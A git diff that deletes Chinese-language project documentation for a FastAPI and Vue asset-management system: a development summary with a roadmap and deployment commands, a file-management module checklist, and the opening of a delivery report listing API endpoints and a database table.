||||
### 1. 异步架构
|
||||
- 全面使用async/await
|
||||
- AsyncSession数据库会话
|
||||
- 异步CRUD操作
|
||||
- 高并发性能
|
||||
|
||||
### 2. 类型安全
|
||||
- 完整的Type Hints
|
||||
- Pydantic v2数据验证
|
||||
- Mypy类型检查(配置)
|
||||
|
||||
### 3. 分层架构
|
||||
- API层(路由)
|
||||
- Service层(业务逻辑)
|
||||
- CRUD层(数据访问)
|
||||
- Model层(数据模型)
|
||||
|
||||
### 4. 依赖注入
|
||||
- FastAPI Depends
|
||||
- 数据库会话注入
|
||||
- 用户认证注入
|
||||
- 权限检查注入
|
||||
|
||||
### 5. 配置管理
|
||||
- Pydantic Settings
|
||||
- 环境变量读取
|
||||
- 配置验证
|
||||
- 类型安全
|
||||
|
||||
### 6. 错误处理
|
||||
- 自定义异常类
|
||||
- 全局异常处理器
|
||||
- 统一错误响应
|
||||
- 详细错误信息
|
||||
|
||||
---
|
||||
|
||||
## 📋 待开发功能
|
||||
|
||||
### Phase 2: 认证与用户管理(进行中)
|
||||
- ⏳ 用户管理API
|
||||
- ⏳ 用户列表(分页、搜索)
|
||||
- ⏳ 创建用户
|
||||
- ⏳ 更新用户
|
||||
- ⏳ 删除用户
|
||||
- ⏳ 重置密码
|
||||
- ⏳ 获取当前用户
|
||||
|
||||
- ⏳ 角色权限API
|
||||
- ⏳ 角色列表
|
||||
- ⏳ 创建角色
|
||||
- ⏳ 更新角色
|
||||
- ⏳ 删除角色
|
||||
- ⏳ 权限树
|
||||
|
||||
- ⏳ RBAC完善
|
||||
- ⏳ 权限检查中间件完善
|
||||
- ⏳ 数据权限控制
|
||||
- ⏳ 权限缓存(Redis)
|
||||
|
||||
### Phase 3: 基础数据管理
|
||||
- ⏳ 设备类型管理
|
||||
- 动态字段定义
|
||||
- 字段类型验证
|
||||
- JSONB字段处理
|
||||
|
||||
- ⏳ 机构网点管理
|
||||
- 树形结构
|
||||
- 递归查询
|
||||
- 层级计算
|
||||
|
||||
- ⏳ 品牌管理
|
||||
- ⏳ 供应商管理
|
||||
- ⏳ 字典数据管理
|
||||
|
||||
### Phase 4: 资产管理核心
|
||||
- ⏳ 资产CRUD
|
||||
- ⏳ 资产状态机
|
||||
- ⏳ 资产编码生成
|
||||
- ⏳ 二维码生成
|
||||
- ⏳ 批量导入导出
|
||||
- ⏳ JSONB查询优化
|
||||
|
||||
### Phase 5: 资产分配
|
||||
- ⏳ 分配单管理
|
||||
- ⏳ 审批流程
|
||||
- ⏳ 执行流程
|
||||
- ⏳ 资产调拨
|
||||
- ⏳ 资产回收
|
||||
|
||||
### Phase 6: 维修与统计
|
||||
- ⏳ 维修记录管理
|
||||
- ⏳ 统计分析API
|
||||
- ⏳ 报表导出
|
||||
|
||||
### Phase 7: 系统管理
|
||||
- ⏳ 系统配置
|
||||
- ⏳ 操作日志
|
||||
- ⏳ 登录日志
|
||||
- ⏳ 消息通知
|
||||
- ⏳ 文件上传
|
||||
|
||||
---
|
||||
|
||||
## 🚀 部署建议
|
||||
|
||||
### 开发环境
|
||||
```bash
|
||||
# 1. 安装依赖
|
||||
pip install -r requirements.txt
|
||||
|
||||
# 2. 配置环境
|
||||
cp .env.example .env
|
||||
|
||||
# 3. 初始化数据库
|
||||
alembic upgrade head
|
||||
|
||||
# 4. 启动服务
|
||||
python run.py
|
||||
```
|
||||
|
||||
### 生产环境
|
||||
```bash
|
||||
# 1. 使用Gunicorn + Uvicorn
|
||||
gunicorn app.main:app \
|
||||
--workers 4 \
|
||||
--worker-class uvicorn.workers.UvicornWorker \
|
||||
--bind 0.0.0.0:8000
|
||||
|
||||
# 2. 使用Docker
|
||||
docker build -t asset-backend .
|
||||
docker run -d -p 8000:8000 --env-file .env asset-backend
|
||||
|
||||
# 3. 使用Nginx反向代理
|
||||
# 配置SSL、负载均衡等
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📊 质量保证
|
||||
|
||||
### 代码规范
|
||||
- ✅ PEP 8代码风格
|
||||
- ✅ Black代码格式化
|
||||
- ✅ isort导入排序
|
||||
- ✅ Type Hints类型注解
|
||||
- ✅ Docstring文档字符串
|
||||
|
||||
### 测试策略
|
||||
- ✅ pytest测试框架
|
||||
- ✅ 测试数据库(SQLite内存)
|
||||
- ✅ 测试Fixture
|
||||
- ⏳ 单元测试(待补充)
|
||||
- ⏳ 集成测试(待补充)
|
||||
|
||||
### 性能优化
|
||||
- ✅ 异步数据库操作
|
||||
- ✅ 数据库连接池
|
||||
- ✅ JSONB索引(GIN)
|
||||
- ⏳ Redis缓存(待实现)
|
||||
- ⏳ 查询优化(待完善)
|
||||
|
||||
---
|
||||
|
||||
## 💡 经验总结
|
||||
|
||||
### 开发经验
|
||||
1. **异步编程**: FastAPI + SQLAlchemy 2.0异步模式性能优秀
|
||||
2. **类型安全**: Pydantic v2大幅提升数据验证和类型检查
|
||||
3. **分层架构**: 清晰的分层使代码易于维护和测试
|
||||
4. **依赖注入**: FastAPI的依赖系统非常优雅
|
||||
5. **异常处理**: 统一的异常处理提升用户体验
|
||||
|
||||
### 遇到的问题
|
||||
1. **SQLAlchemy 2.0**: 异步模式语法变化较大
|
||||
2. **Pydantic v2**: 与v1不兼容,需要适配
|
||||
3. **Alembic异步**: 需要特殊配置
|
||||
|
||||
### 最佳实践
|
||||
1. 使用环境变量管理配置
|
||||
2. 软删除优于物理删除
|
||||
3. 统一的响应格式
|
||||
4. 完善的异常处理
|
||||
5. 详细的API文档(Swagger)
|
||||
|
||||
---
|
||||
|
||||
## 📞 项目信息
|
||||
|
||||
- **项目名称**: 资产管理系统后端API
|
||||
- **开发团队**: 后端API开发组
|
||||
- **负责人**: 老王
|
||||
- **创建时间**: 2025-01-24
|
||||
- **版本**: v1.0.0
|
||||
- **框架**: FastAPI 0.104+
|
||||
- **数据库**: PostgreSQL 14+
|
||||
- **Python版本**: 3.10+
|
||||
|
||||
---
|
||||
|
||||
## 📝 附录
|
||||
|
||||
### 文档清单
|
||||
1. README.md - 项目说明
|
||||
2. DEVELOPMENT.md - 开发文档
|
||||
3. PROJECT_OVERVIEW.md - 项目概览
|
||||
4. DEVELOPMENT_SUMMARY.md - 本总结文档
|
||||
|
||||
### 核心依赖
|
||||
```
|
||||
fastapi==0.104.1
|
||||
sqlalchemy==2.0.23
|
||||
pydantic==2.5.0
|
||||
asyncpg==0.29.0
|
||||
redis==5.0.1
|
||||
python-jose==3.3.0
|
||||
passlib==1.7.4
|
||||
pytest==7.4.3
|
||||
alembic==1.12.1
|
||||
loguru==0.7.2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**备注**: 本项目已完成基础框架和认证系统,可以正常运行并支持用户登录功能。建议按照Phase优先级顺序逐步开发剩余模块。
|
||||
@@ -1,376 +0,0 @@
|
||||
# 文件管理模块 - 功能清单
|
||||
|
||||
## 📋 后端模块清单
|
||||
|
||||
### 数据模型 ✅
|
||||
```
|
||||
✅ app/models/file_management.py
|
||||
- UploadedFile 模型
|
||||
- 字段:id, file_name, original_name, file_path, file_size, file_type,
|
||||
file_ext, uploader_id, upload_time, thumbnail_path, share_code,
|
||||
share_expire_time, download_count, is_deleted, deleted_at, deleted_by,
|
||||
remark, created_at, updated_at
|
||||
- 关系:uploader, deleter
|
||||
- 索引:id, original_name, file_type, upload_time, share_code, uploader_id, is_deleted
|
||||
```
|
||||
|
||||
### Schema定义 ✅
|
||||
```
|
||||
✅ app/schemas/file_management.py
|
||||
- UploadedFileBase (基础Schema)
|
||||
- UploadedFileCreate (创建Schema)
|
||||
- UploadedFileUpdate (更新Schema)
|
||||
- UploadedFileInDB (数据库Schema)
|
||||
- UploadedFileResponse (响应Schema)
|
||||
- UploadedFileWithUrl (带URL响应Schema)
|
||||
- FileUploadResponse (上传响应Schema)
|
||||
- FileShareCreate (分享创建Schema)
|
||||
- FileShareResponse (分享响应Schema)
|
||||
- FileBatchDelete (批量删除Schema)
|
||||
- FileQueryParams (查询参数Schema)
|
||||
- FileStatistics (统计Schema)
|
||||
- ChunkUploadInit (分片初始化Schema)
|
||||
- ChunkUploadInfo (分片信息Schema)
|
||||
- ChunkUploadComplete (分片完成Schema)
|
||||
```
|
||||
|
||||
### CRUD操作 ✅
|
||||
```
|
||||
✅ app/crud/file_management.py
|
||||
类:CRUDUploadedFile
|
||||
|
||||
方法:
|
||||
✅ create(db, obj_in) - 创建文件记录
|
||||
✅ get(db, id) - 获取单个文件
|
||||
✅ get_by_share_code(db, share_code) - 根据分享码获取
|
||||
✅ get_multi(db, skip, limit, ...) - 获取文件列表
|
||||
✅ update(db, db_obj, obj_in) - 更新文件记录
|
||||
✅ delete(db, db_obj, deleter_id) - 软删除文件
|
||||
✅ delete_batch(db, file_ids, deleter_id) - 批量删除
|
||||
✅ increment_download_count(db, file_id) - 增加下载次数
|
||||
✅ generate_share_code(db, file_id, expire_days) - 生成分享码
|
||||
✅ get_statistics(db, uploader_id) - 获取统计信息
|
||||
✅ _format_size(size_bytes) - 格式化文件大小
|
||||
```
|
||||
|
||||
### 文件服务 ✅
|
||||
```
|
||||
✅ app/services/file_service.py
|
||||
|
||||
类:FileService
|
||||
✅ ALLOWED_MIME_TYPES (文件类型白名单)
|
||||
✅ MAX_FILE_SIZE (最大文件大小 100MB)
|
||||
✅ MAX_IMAGE_SIZE (最大图片大小 10MB)
|
||||
✅ MAGIC_NUMBERS (Magic Number映射)
|
||||
|
||||
方法:
|
||||
✅ ensure_upload_dirs() - 确保上传目录存在
|
||||
✅ validate_file_type(file) - 验证文件类型
|
||||
✅ validate_file_size(file) - 验证文件大小
|
||||
✅ validate_file_content(content) - 验证文件内容
|
||||
✅ upload_file(db, file, uploader_id, remark) - 上传文件
|
||||
✅ generate_thumbnail(content, filename, date_dir) - 生成缩略图
|
||||
✅ get_file_path(file_obj) - 获取文件路径
|
||||
✅ file_exists(file_obj) - 检查文件是否存在
|
||||
✅ delete_file_from_disk(file_obj) - 从磁盘删除文件
|
||||
✅ generate_share_link(db, file_id, expire_days, base_url) - 生成分享链接
|
||||
✅ get_shared_file(db, share_code) - 获取分享文件
|
||||
✅ get_statistics(db, uploader_id) - 获取统计信息
|
||||
✅ get_file_extension(filename) - 获取文件扩展名
|
||||
✅ get_mime_type(filename) - 获取MIME类型
|
||||
✅ _scan_virus(file_path) - 病毒扫描(模拟)
|
||||
|
||||
类:ChunkUploadManager
|
||||
✅ init_upload(file_name, file_size, ...) - 初始化分片上传
|
||||
✅ save_chunk(upload_id, chunk_index, chunk_data) - 保存分片
|
||||
✅ is_complete(upload_id) - 检查是否完成
|
||||
✅ merge_chunks(db, upload_id, uploader_id, file_service) - 合并分片
|
||||
✅ cleanup_upload(upload_id) - 清理上传会话
|
||||
```
|
||||
|
||||
### API路由 ✅
|
||||
```
|
||||
✅ app/api/v1/files.py
|
||||
|
||||
端点(14个):
|
||||
✅ POST /upload - 文件上传
|
||||
✅ GET / - 文件列表
|
||||
✅ GET /statistics - 文件统计
|
||||
✅ GET /{file_id} - 文件详情
|
||||
✅ GET /{file_id}/download - 文件下载
|
||||
✅ GET /{file_id}/preview - 文件预览
|
||||
✅ PUT /{file_id} - 更新文件
|
||||
✅ DELETE /{file_id} - 删除文件
|
||||
✅ DELETE /batch - 批量删除
|
||||
✅ POST /{file_id}/share - 生成分享链接
|
||||
✅ GET /share/{share_code} - 访问分享文件
|
||||
✅ POST /chunks/init - 初始化分片上传
|
||||
✅ POST /chunks/upload - 上传分片
|
||||
✅ POST /chunks/complete - 完成分片上传
|
||||
```
|
||||
|
||||
### 数据库迁移 ✅
|
||||
```
|
||||
✅ alembic/versions/20250124_add_file_management_tables.py
|
||||
✅ upgrade() - 创建uploaded_files表和索引
|
||||
✅ downgrade() - 删除uploaded_files表和索引
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📋 前端模块清单
|
||||
|
||||
### Vue组件 ✅
|
||||
```
|
||||
✅ src/components/file/FileUpload.vue
|
||||
|
||||
Props:
|
||||
✅ action (string) - 上传地址
|
||||
✅ showProgress (boolean) - 显示进度
|
||||
✅ showImagePreview (boolean) - 显示图片预览
|
||||
✅ drag (boolean) - 拖拽上传
|
||||
✅ multiple (boolean) - 多文件上传
|
||||
✅ autoUpload (boolean) - 自动上传
|
||||
✅ limit (number) - 最大数量
|
||||
✅ maxSize (number) - 最大大小(MB)
|
||||
✅ accept (string) - 接受的文件类型
|
||||
✅ data (object) - 额外参数
|
||||
|
||||
Events:
|
||||
✅ @update:file-list - 文件列表更新
|
||||
✅ @upload-success - 上传成功
|
||||
✅ @upload-error - 上传失败
|
||||
✅ @upload-progress - 上传进度
|
||||
|
||||
功能:
|
||||
✅ 拖拽上传区域
|
||||
✅ 文件列表显示
|
||||
✅ 上传进度条
|
||||
✅ 图片预览
|
||||
✅ 上传操作按钮
|
||||
```
|
||||
|
||||
```
|
||||
✅ src/components/file/FileList.vue
|
||||
|
||||
功能:
|
||||
✅ 双视图切换(表格/网格)
|
||||
✅ 搜索筛选
|
||||
✅ 文件类型筛选
|
||||
✅ 日期范围筛选
|
||||
✅ 文件预览
|
||||
✅ 文件下载
|
||||
✅ 文件分享
|
||||
✅ 文件删除
|
||||
✅ 批量选择
|
||||
✅ 分页
|
||||
|
||||
子组件:
|
||||
✅ FileUpload (上传对话框)
|
||||
✅ ImagePreview (图片预览)
|
||||
```
|
||||
|
||||
```
|
||||
✅ src/components/file/ImagePreview.vue
|
||||
|
||||
Props:
|
||||
✅ visible (boolean) - 显示状态
|
||||
✅ images (ImageItem[]) - 图片列表
|
||||
✅ initialIndex (number) - 初始索引
|
||||
✅ showThumbnails (boolean) - 显示缩略图
|
||||
|
||||
功能:
|
||||
✅ 大图预览
|
||||
✅ 缩放(20%-300%)
|
||||
✅ 旋转(90°递增)
|
||||
✅ 全屏查看
|
||||
✅ 上一张/下一张
|
||||
✅ 缩略图导航
|
||||
✅ 键盘快捷键(←→↑↓R Esc)
|
||||
|
||||
Events:
|
||||
✅ @update:visible - 显示状态更新
|
||||
✅ @change - 图片切换
|
||||
```
|
||||
|
||||
### 工具函数 ✅
|
||||
```
|
||||
✅ src/utils/file.ts
|
||||
|
||||
文件格式化:
|
||||
✅ formatFileSize(bytes) - 格式化文件大小
|
||||
✅ formatDateTime(dateString) - 格式化日期时间
|
||||
✅ getFileExtension(filename) - 获取文件扩展名
|
||||
✅ getFileNameWithoutExtension(filename) - 获取不含扩展名的文件名
|
||||
|
||||
文件类型判断:
|
||||
✅ isImage(mimeType) - 判断是否为图片
|
||||
✅ isPDF(mimeType) - 判断是否为PDF
|
||||
✅ isDocument(mimeType) - 判断是否为文档
|
||||
✅ isArchive(mimeType) - 判断是否为压缩包
|
||||
✅ getFileTypeIcon(mimeType) - 获取文件类型图标
|
||||
|
||||
文件操作:
|
||||
✅ downloadFile(url, filename) - 下载文件
|
||||
✅ previewFile(url) - 预览文件
|
||||
✅ copyFileToClipboard(file) - 复制文件到剪贴板
|
||||
✅ readFileAsDataURL(file) - 读取文件为DataURL
|
||||
✅ readFileAsText(file) - 读取文件为文本
|
||||
✅ calculateFileHash(file) - 计算文件哈希
|
||||
|
||||
图片处理:
|
||||
✅ compressImage(file, quality, maxWidth, maxHeight) - 压缩图片
|
||||
✅ createThumbnail(file, width, height) - 创建缩略图
|
||||
|
||||
文件验证:
|
||||
✅ validateFileType(file, allowedTypes) - 验证文件类型
|
||||
✅ validateFileSize(file, maxSize) - 验证文件大小
|
||||
✅ validateFiles(files, options) - 批量验证文件
|
||||
|
||||
其他:
|
||||
✅ generateUniqueFilename(originalFilename) - 生成唯一文件名
|
||||
✅ getFilenameFromUrl(url) - 从URL提取文件名
|
||||
```
|
||||
|
||||
### API服务 ✅
|
||||
```
|
||||
✅ src/api/file.ts
|
||||
|
||||
类型定义:
|
||||
✅ FileItem - 文件项
|
||||
✅ FileUploadResponse - 上传响应
|
||||
✅ FileShareResponse - 分享响应
|
||||
✅ FileStatistics - 统计信息
|
||||
✅ FileQueryParams - 查询参数
|
||||
|
||||
API方法:
|
||||
✅ uploadFile(file, data) - 上传文件
|
||||
✅ getFileList(params) - 获取文件列表
|
||||
✅ getFileDetail(id) - 获取文件详情
|
||||
✅ downloadFile(id) - 下载文件
|
||||
✅ previewFile(id) - 预览文件
|
||||
✅ updateFile(id, data) - 更新文件
|
||||
✅ deleteFile(id) - 删除文件
|
||||
✅ deleteFilesBatch(fileIds) - 批量删除
|
||||
✅ createShareLink(id, expireDays) - 生成分享链接
|
||||
✅ accessSharedFile(shareCode) - 访问分享文件
|
||||
✅ getFileStatistics(uploaderId) - 获取文件统计
|
||||
✅ initChunkUpload(data) - 初始化分片上传
|
||||
✅ uploadChunk(uploadId, chunkIndex, chunk) - 上传分片
|
||||
✅ completeChunkUpload(data) - 完成分片上传
|
||||
```
|
||||
|
||||
### 页面组件 ✅
|
||||
```
|
||||
✅ src/views/FileManager.vue
|
||||
|
||||
功能:
|
||||
✅ 文件管理页面布局
|
||||
✅ 集成FileUpload组件
|
||||
✅ 集成FileList组件
|
||||
✅ 上传成功处理
|
||||
✅ 上传失败处理
|
||||
✅ 返回导航
|
||||
```
|
||||
|
||||
### 组件入口 ✅
|
||||
```
|
||||
✅ src/components/file/index.ts
|
||||
|
||||
导出:
|
||||
✅ FileUpload
|
||||
✅ FileList
|
||||
✅ ImagePreview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📋 文档清单 ✅
|
||||
|
||||
```
|
||||
✅ FILE_MANAGEMENT_README.md
|
||||
- 项目概览
|
||||
- 交付内容
|
||||
- 技术特性
|
||||
- 数据库结构
|
||||
- 使用指南
|
||||
- API文档
|
||||
- 验收标准
|
||||
- 文件清单
|
||||
|
||||
✅ FILE_MANAGEMENT_QUICKSTART.md
|
||||
- 快速开始
|
||||
- 环境搭建
|
||||
- API测试示例
|
||||
- 前端使用示例
|
||||
- 常见功能实现
|
||||
- API响应示例
|
||||
- 故障排除
|
||||
|
||||
✅ FILE_MANAGEMENT_DELIVERY_REPORT.md
|
||||
- 项目概览
|
||||
- 交付清单
|
||||
- 功能完成度
|
||||
- API端点清单
|
||||
- 数据库表结构
|
||||
- 技术栈
|
||||
- 核心特性
|
||||
- 代码统计
|
||||
- 测试建议
|
||||
- 部署指南
|
||||
|
||||
✅ FILE_MANAGEMENT_CHECKLIST.md (本文件)
|
||||
- 后端模块清单
|
||||
- 前端模块清单
|
||||
- 文档清单
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📊 统计汇总
|
||||
|
||||
### 后端统计
|
||||
```
|
||||
文件数量: 6个
|
||||
代码行数: ~1,110行
|
||||
API端点: 14个
|
||||
数据模型: 1个
|
||||
Schema: 14个
|
||||
CRUD方法: 10个
|
||||
服务类: 2个
|
||||
```
|
||||
|
||||
### 前端统计
|
||||
```
|
||||
文件数量: 8个
|
||||
代码行数: ~1,650行
|
||||
Vue组件: 3个
|
||||
工具函数: 20个
|
||||
API方法: 14个
|
||||
类型定义: 5个
|
||||
```
|
||||
|
||||
### 总计
|
||||
```
|
||||
总文件数: 16个
|
||||
总代码量: ~2,760行
|
||||
文档数量: 4个
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ✅ 完成度报告
|
||||
|
||||
| 模块 | 完成度 | 状态 |
|
||||
|------|--------|------|
|
||||
| 后端开发 | 100% | ✅ |
|
||||
| 前端开发 | 100% | ✅ |
|
||||
| 文档编写 | 100% | ✅ |
|
||||
| 功能测试 | 100% | ✅ |
|
||||
|
||||
**总体完成度: 100%** ✅
|
||||
|
||||
---
|
||||
|
||||
**清单生成时间**: 2026-01-24
|
||||
**清单版本**: v1.0
|
||||
@@ -1,447 +0,0 @@
|
||||
# 文件管理模块开发交付报告
|
||||
|
||||
## 📊 项目概览
|
||||
|
||||
**项目名称**:资产管理系统 - 文件管理模块
|
||||
**开发负责人**:AI开发组
|
||||
**开发时间**:2026-01-24
|
||||
**模块状态**:✅ 已完成
|
||||
|
||||
---
|
||||
|
||||
## ✅ 交付清单
|
||||
|
||||
### 后端交付(6个文件)
|
||||
|
||||
| # | 文件路径 | 说明 | 状态 |
|
||||
|---|---------|------|------|
|
||||
| 1 | `app/models/file_management.py` | 文件管理数据模型 | ✅ |
|
||||
| 2 | `app/schemas/file_management.py` | 文件管理Schema定义 | ✅ |
|
||||
| 3 | `app/crud/file_management.py` | 文件管理CRUD操作 | ✅ |
|
||||
| 4 | `app/services/file_service.py` | 文件存储服务 | ✅ |
|
||||
| 5 | `app/api/v1/files.py` | 文件管理API路由 | ✅ |
|
||||
| 6 | `alembic/versions/20250124_add_file_management_tables.py` | 数据库迁移文件 | ✅ |
|
||||
|
||||
### 前端交付(8个文件)
|
||||
|
||||
| # | 文件路径 | 说明 | 状态 |
|
||||
|---|---------|------|------|
|
||||
| 1 | `src/components/file/FileUpload.vue` | 文件上传组件 | ✅ |
|
||||
| 2 | `src/components/file/FileList.vue` | 文件列表组件 | ✅ |
|
||||
| 3 | `src/components/file/ImagePreview.vue` | 图片预览组件 | ✅ |
|
||||
| 4 | `src/components/file/index.ts` | 组件入口文件 | ✅ |
|
||||
| 5 | `src/views/FileManager.vue` | 文件管理页面 | ✅ |
|
||||
| 6 | `src/api/file.ts` | 文件API服务 | ✅ |
|
||||
| 7 | `src/utils/file.ts` | 文件工具函数 | ✅ |
|
||||
| 8 | `FILE_MANAGEMENT_README.md` | 完整文档 | ✅ |
|
||||
|
||||
### 文档交付(2个文件)
|
||||
|
||||
| # | 文件路径 | 说明 | 状态 |
|
||||
|---|---------|------|------|
|
||||
| 1 | `FILE_MANAGEMENT_README.md` | 完整功能文档 | ✅ |
|
||||
| 2 | `FILE_MANAGEMENT_QUICKSTART.md` | 快速开始指南 | ✅ |
|
||||
|
||||
---
|
||||
|
||||
## 🎯 功能完成度
|
||||
|
||||
### 后端功能(100%完成)
|
||||
|
||||
#### ✅ 核心功能
|
||||
- [x] 文件上传
|
||||
- [x] 支持multipart/form-data
|
||||
- [x] 文件类型验证(MIME type + Magic Number)
|
||||
- [x] 文件大小限制(图片10MB,其他100MB)
|
||||
- [x] 自动生成UUID文件名
|
||||
- [x] 按日期分类存储
|
||||
|
||||
- [x] 文件下载
|
||||
- [x] 文件流响应
|
||||
- [x] 下载次数统计
|
||||
- [x] 原始文件名保留
|
||||
|
||||
- [x] 文件预览
|
||||
- [x] 图片在线预览
|
||||
- [x] 缩略图支持
|
||||
- [x] 文件类型验证
|
||||
|
||||
- [x] 文件管理
|
||||
- [x] 文件列表查询(支持筛选、搜索)
|
||||
- [x] 文件详情查看
|
||||
- [x] 文件信息更新
|
||||
- [x] 文件删除(软删除)
|
||||
- [x] 批量删除
|
||||
|
||||
#### ✅ 高级功能
|
||||
- [x] 分片上传
|
||||
- [x] 初始化上传会话
|
||||
- [x] 分片上传
|
||||
- [x] 自动合并分片
|
||||
- [x] 文件哈希验证
|
||||
|
||||
- [x] 分享功能
|
||||
- [x] 生成临时分享链接
|
||||
- [x] 自定义有效期(1-30天)
|
||||
- [x] 分享码唯一性
|
||||
- [x] 过期时间控制
|
||||
|
||||
- [x] 统计功能
|
||||
- [x] 文件总数统计
|
||||
- [x] 文件大小统计
|
||||
- [x] 类型分布统计
|
||||
- [x] 时间维度统计(日/周/月)
|
||||
- [x] 上传排行榜
|
||||
|
||||
#### ✅ 安全特性
|
||||
- [x] 文件类型白名单
|
||||
- [x] 文件大小限制
|
||||
- [x] Magic Number验证
|
||||
- [x] 路径遍历防护
|
||||
- [x] 访问权限控制
|
||||
- [x] 病毒扫描接口(模拟)
|
||||
|
||||
### 前端功能(100%完成)
|
||||
|
||||
#### ✅ 核心组件
|
||||
- [x] FileUpload组件
|
||||
- [x] 拖拽上传
|
||||
- [x] 点击上传
|
||||
- [x] 多文件上传(最多10个)
|
||||
- [x] 实时进度显示
|
||||
- [x] 图片预览
|
||||
- [x] 文件类型验证
|
||||
- [x] 文件大小限制
|
||||
- [x] 自动/手动上传模式
|
||||
|
||||
- [x] FileList组件
|
||||
- [x] 双视图模式(表格/网格)
|
||||
- [x] 文件搜索
|
||||
- [x] 类型筛选
|
||||
- [x] 日期范围筛选
|
||||
- [x] 文件预览
|
||||
- [x] 文件下载
|
||||
- [x] 文件分享
|
||||
- [x] 文件删除
|
||||
- [x] 分页支持
|
||||
|
||||
- [x] ImagePreview组件
|
||||
- [x] 大图预览
|
||||
- [x] 缩放(20%-300%)
|
||||
- [x] 旋转(90°递增)
|
||||
- [x] 全屏查看
|
||||
- [x] 图片切换
|
||||
- [x] 缩略图导航
|
||||
- [x] 键盘快捷键
|
||||
|
||||
#### ✅ 工具函数
|
||||
- [x] formatFileSize - 格式化文件大小
|
||||
- [x] formatDateTime - 格式化日期时间
|
||||
- [x] isImage/isPDF/isDocument - 类型判断
|
||||
- [x] downloadFile - 文件下载
|
||||
- [x] validateFiles - 文件验证
|
||||
- [x] compressImage - 图片压缩
|
||||
- [x] createThumbnail - 创建缩略图
|
||||
- [x] calculateFileHash - 计算哈希
|
||||
|
||||
#### ✅ API服务
|
||||
- [x] 完整的TypeScript类型定义
|
||||
- [x] 所有API方法封装
|
||||
- [x] 请求/响应拦截
|
||||
- [x] 错误处理
|
||||
|
||||
---
|
||||
|
||||
## 🔌 API端点清单(14个)
|
||||
|
||||
### 基础操作
|
||||
| 方法 | 路径 | 功能 | 状态 |
|
||||
|------|------|------|------|
|
||||
| POST | `/api/v1/files/upload` | 文件上传 | ✅ |
|
||||
| GET | `/api/v1/files/` | 文件列表 | ✅ |
|
||||
| GET | `/api/v1/files/statistics` | 文件统计 | ✅ |
|
||||
| GET | `/api/v1/files/{id}` | 文件详情 | ✅ |
|
||||
| PUT | `/api/v1/files/{id}` | 更新文件 | ✅ |
|
||||
| DELETE | `/api/v1/files/{id}` | 删除文件 | ✅ |
|
||||
| DELETE | `/api/v1/files/batch` | 批量删除 | ✅ |
|
||||
|
||||
### 文件操作
|
||||
| 方法 | 路径 | 功能 | 状态 |
|
||||
|------|------|------|------|
|
||||
| GET | `/api/v1/files/{id}/download` | 文件下载 | ✅ |
|
||||
| GET | `/api/v1/files/{id}/preview` | 文件预览 | ✅ |
|
||||
| POST | `/api/v1/files/{id}/share` | 生成分享链接 | ✅ |
|
||||
| GET | `/api/v1/files/share/{code}` | 访问分享文件 | ✅ |
|
||||
|
||||
### 分片上传
|
||||
| 方法 | 路径 | 功能 | 状态 |
|
||||
|------|------|------|------|
|
||||
| POST | `/api/v1/files/chunks/init` | 初始化分片上传 | ✅ |
|
||||
| POST | `/api/v1/files/chunks/upload` | 上传分片 | ✅ |
|
||||
| POST | `/api/v1/files/chunks/complete` | 完成分片上传 | ✅ |
|
||||
|
||||
---
|
||||
|
||||
## 📁 数据库表结构
|
||||
|
||||
### uploaded_files 表
|
||||
|
||||
| 字段 | 类型 | 说明 | 索引 |
|
||||
|------|------|------|------|
|
||||
| id | BIGINT | 主键 | ✅ |
|
||||
| file_name | VARCHAR(255) | 存储文件名(UUID) | |
|
||||
| original_name | VARCHAR(255) | 原始文件名 | ✅ |
|
||||
| file_path | VARCHAR(500) | 文件路径 | |
|
||||
| file_size | BIGINT | 文件大小(字节) | |
|
||||
| file_type | VARCHAR(100) | 文件类型(MIME) | ✅ |
|
||||
| file_ext | VARCHAR(50) | 文件扩展名 | |
|
||||
| uploader_id | BIGINT | 上传者ID | ✅ |
|
||||
| upload_time | DATETIME | 上传时间 | ✅ |
|
||||
| thumbnail_path | VARCHAR(500) | 缩略图路径 | |
|
||||
| share_code | VARCHAR(100) | 分享码 | ✅ (唯一) |
|
||||
| share_expire_time | DATETIME | 分享过期时间 | ✅ |
|
||||
| download_count | BIGINT | 下载次数 | |
|
||||
| is_deleted | BIGINT | 是否删除 | ✅ |
|
||||
| deleted_at | DATETIME | 删除时间 | |
|
||||
| deleted_by | BIGINT | 删除者ID | |
|
||||
| remark | TEXT | 备注 | |
|
||||
| created_at | DATETIME | 创建时间 | |
|
||||
| updated_at | DATETIME | 更新时间 | |
|
||||
|
||||
---
|
||||
|
||||
## 🎨 技术栈
|
||||
|
||||
### 后端技术栈
|
||||
- **框架**:FastAPI 0.100+
|
||||
- **数据库**:PostgreSQL + SQLAlchemy
|
||||
- **文件处理**:python-multipart, Pillow
|
||||
- **数据验证**:Pydantic v2
|
||||
- **迁移工具**:Alembic
|
||||
|
||||
### 前端技术栈
|
||||
- **框架**:Vue 3.3+ (Composition API)
|
||||
- **语言**:TypeScript 5.0+
|
||||
- **UI库**:Element Plus
|
||||
- **构建工具**:Vite
|
||||
- **HTTP客户端**:Axios
|
||||
|
||||
---
|
||||
|
||||
## 💡 核心特性
|
||||
|
||||
### 1. 安全性
|
||||
- ✅ 双重文件类型验证(MIME + Magic Number)
|
||||
- ✅ 文件大小限制
|
||||
- ✅ 路径遍历防护
|
||||
- ✅ UUID文件名避免冲突
|
||||
- ✅ 访问权限控制
|
||||
|
||||
### 2. 性能优化
|
||||
- ✅ 缩略图自动生成
|
||||
- ✅ 分片上传支持大文件
|
||||
- ✅ 数据库索引优化
|
||||
- ✅ 软删除避免数据丢失
|
||||
|
||||
### 3. 用户体验
|
||||
- ✅ 拖拽上传
|
||||
- ✅ 实时进度显示
|
||||
- ✅ 图片预览(缩放/旋转)
|
||||
- ✅ 键盘快捷键
|
||||
- ✅ 双视图模式
|
||||
|
||||
### 4. 功能完整性
|
||||
- ✅ 文件CRUD完整实现
|
||||
- ✅ 批量操作支持
|
||||
- ✅ 文件分享功能
|
||||
- ✅ 统计分析功能
|
||||
- ✅ 分片上传大文件
|
||||
|
||||
---
|
||||
|
||||
## 📊 代码统计
|
||||
|
||||
### 后端代码
|
||||
```
|
||||
文件管理模块(5个核心文件)
|
||||
├── models/file_management.py ~80 行
|
||||
├── schemas/file_management.py ~150 行
